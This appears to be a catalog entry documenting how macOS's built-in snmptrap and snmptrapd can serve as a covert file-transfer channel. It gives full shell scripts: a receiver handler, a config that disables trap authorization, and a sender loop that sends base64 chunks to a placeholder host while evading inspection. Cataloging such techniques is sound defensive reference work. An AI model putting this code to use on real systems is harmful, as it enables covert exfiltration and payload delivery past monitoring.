← All Binaries

snmptrap

macOS ships with the net-snmp toolkit, which includes snmptrap (/usr/bin/snmptrap) for sending SNMP trap notifications and snmptrapd (/usr/sbin/snmptrapd) for receiving them. SNMP traps are unsolicited UDP notifications sent from an agent to a management station on port 162. The trap payload can carry arbitrary string data under custom OIDs in the private enterprise namespace. This mechanism can be repurposed as a covert file transfer channel by base64-encoding file contents, splitting them into fixed-size chunks, and transmitting each chunk as a trap payload. A trap handler on the receiving end reassembles and decodes the file. The transfer blends into SNMP management traffic and uses a protocol that many detection pipelines do not inspect.

Author: Ryan Conry (Cisco Talos) Created: 2026-03-24

Paths

/usr/bin/snmptrap/usr/sbin/snmptrapd

Example Use Cases

Covert file transfer via SNMP trap payloads

This technique assumes both the sender and receiver are macOS hosts. Files are base64-encoded and sent as a sequence of SNMP traps carrying chunked data under a custom OID (1.3.6.1.4.1.99999). Three message types are used - FILENAME signals the start of a transfer, DATA carries each base64 chunk, and END triggers reassembly. snmptrapd on the receiver routes all traps to a handler script that writes, reassembles, and decodes the chunks using macOS-native base64 and md5 utilities. The resulting file is verified with an MD5 hash.

# On receiver: install trap handler script
sudo tee /usr/local/bin/trap_handler.sh > /dev/null << 'EOF'
#!/bin/bash
TRANSFER_DIR="/tmp/snmp_transfers"
STATE_FILE="/tmp/snmp_transfer_state"
mkdir -p "$TRANSFER_DIR"
while read line; do
    if echo "$line" | grep -q "SNMPv2-SMI::enterprises.99999.1"; then
        DATA=$(echo "$line" | sed 's/.*"\(.*\)"/\1/')
        if [[ "$DATA" == FILENAME:* ]]; then
            FILENAME="${DATA#FILENAME:}"
            echo "$FILENAME" > "$STATE_FILE"
            > "${TRANSFER_DIR}/${FILENAME}.b64"
        elif [[ "$DATA" == DATA:* ]]; then
            if [ -f "$STATE_FILE" ]; then
                FILENAME=$(cat "$STATE_FILE")
                CHUNK="${DATA#DATA:}"
                echo -n "$CHUNK" >> "${TRANSFER_DIR}/${FILENAME}.b64"
            fi
        elif [[ "$DATA" == "END" ]]; then
            if [ -f "$STATE_FILE" ]; then
                FILENAME=$(cat "$STATE_FILE")
                base64 -D < "${TRANSFER_DIR}/${FILENAME}.b64" > "${TRANSFER_DIR}/${FILENAME}"
                echo "MD5: $(md5 -q "${TRANSFER_DIR}/${FILENAME}")"
                rm "${TRANSFER_DIR}/${FILENAME}.b64"
                rm "$STATE_FILE"
            fi
        fi
    fi
done
EOF
sudo chmod +x /usr/local/bin/trap_handler.sh

# On receiver: configure snmptrapd to route traps to the handler and start it
sudo tee /etc/snmp/snmptrapd.conf > /dev/null << 'EOF'
disableAuthorization yes
traphandle default /usr/local/bin/trap_handler.sh
EOF
sudo snmptrapd -f -Lo

# On sender: transmit file in chunks
FILE_PATH="/tmp/payload.sh"
RECEIVER_IP="<RECEIVER_IP>"
CHUNK_SIZE=1000
BASE64_DATA=$(base64 < "$FILE_PATH")
FILE_NAME=$(basename "$FILE_PATH")
snmptrap -v 2c -c public "$RECEIVER_IP" '' 1.3.6.1.4.1.99999 1.3.6.1.4.1.99999.1 s "FILENAME:$FILE_NAME"
echo "$BASE64_DATA" | fold -w $CHUNK_SIZE | while read chunk; do
    snmptrap -v 2c -c public "$RECEIVER_IP" '' 1.3.6.1.4.1.99999 1.3.6.1.4.1.99999.1 s "DATA:$chunk"
    sleep 0.1
done
snmptrap -v 2c -c public "$RECEIVER_IP" '' 1.3.6.1.4.1.99999 1.3.6.1.4.1.99999.1 s "END"

Detections

  • No detections at time of publishing

Resources